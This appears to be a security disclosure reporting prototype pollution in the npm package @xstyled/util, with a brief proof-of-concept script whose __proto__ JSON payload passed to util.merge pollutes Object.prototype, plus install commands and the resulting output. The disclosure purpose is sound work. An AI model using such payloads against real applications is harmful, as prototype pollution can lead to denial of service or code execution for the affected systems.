✍️ Description

@xstyled/util is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

🕵️‍♂️ Proof of Concept

1. Create the following PoC file:

// poc.js
var util = require("@xstyled/util")
var obj = {}
const payload =  JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
console.log("Before : " + obj.polluted);
util.merge(obj, payload);
console.log("After : " + obj.polluted);

2. Execute the following commands in another terminal:

npm i @xstyled/util # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted

💥 Impact

This vulnerability is capable of causing Remote Code Execution and Denial of Service attacks depending upon how it is used.